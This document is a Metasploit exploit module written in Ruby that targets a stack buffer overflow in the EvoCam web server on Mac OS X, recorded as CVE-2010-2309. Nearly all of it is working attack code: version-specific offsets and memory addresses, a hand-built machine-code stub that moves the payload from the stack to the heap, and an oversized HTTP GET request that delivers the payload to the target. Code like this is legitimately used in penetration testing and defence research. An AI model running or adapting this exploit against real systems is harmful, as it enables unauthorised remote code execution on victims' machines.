##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',
      'Description' => %q{
          This module exploits a stack buffer overflow in the web server provided with the EvoCam
        program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
        from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
        3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
      },
      'Author'         =>
        [
          'Paul Harrington', # Original Exploit Author and MSF Module
          'dookie', # MSF Module Assistance
        ],
      'Platform'       => 'osx',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2010-2309'],
          ['OSVDB', '65043'],
          ['EDB', '12835'],
        ],
      'Payload'        =>
        {
          'Space' => 300,
          'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Privileged'     => false,
      'Targets'        =>
        [
          [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
            {
              'Arch' => ARCH_X86,
              'Offset' => 1560,
              'Writable' => 0x8fe66448,
              'setjmp' => 0x8fe1cf38,
              'strdup' => 0x8fe210dc,
              'jmp_eax' => 0x8fe01041
            }
          ],
          [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
            {
              'Arch' => ARCH_X86,
              'Offset' => 1308,
              'Writable' => 0x8fe66448,
              'setjmp' => 0x8fe1cf38,
              'strdup' => 0x8fe210dc,
              'jmp_eax' => 0x8fe01041
            }
          ],

        ],
      'DisclosureDate' => 'Jun 01 2010',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
      ])
  end

  def make_exec_payload_from_heap_stub()
    frag0 =
      "\x90" + # nop
      "\x58" + # pop eax
      "\x61" + # popa
      "\xc3"   # ret

    frag1 =
      "\x90" +             # nop
      "\x58" +             # pop eax
      "\x89\xe0" +         # mov eax, esp
      "\x83\xc0\x0e" +     # add eax, byte +0xc
      "\x89\x44\x24\x08" + # mov [esp+0x8], eax
      "\xc3"               # ret

    setjmp = target['setjmp']
    writable = target['Writable']
    strdup = target['strdup']
    jmp_eax = target['jmp_eax']

    exec_payload_from_heap_stub =
      frag0 +
      [setjmp].pack('V') +
      [writable + 32, writable].pack("V2") +
      frag1 +
      "X" * 20 +
      [setjmp].pack('V') +
      [writable + 24, writable, strdup, jmp_eax].pack("V4") +
      "X" * 4
  end

  def exploit
    connect

    offset = target['Offset']

    buffer = "GET "
    buffer << rand_text_alpha_upper(offset)
    buffer << make_exec_payload_from_heap_stub()
    buffer << "\x90\x90"
    buffer << payload.encoded
    buffer << " HTTP/1.0\r\n\r\n"

    sock.put(buffer)
    sock.close

    handler()
    disconnect
  end

end
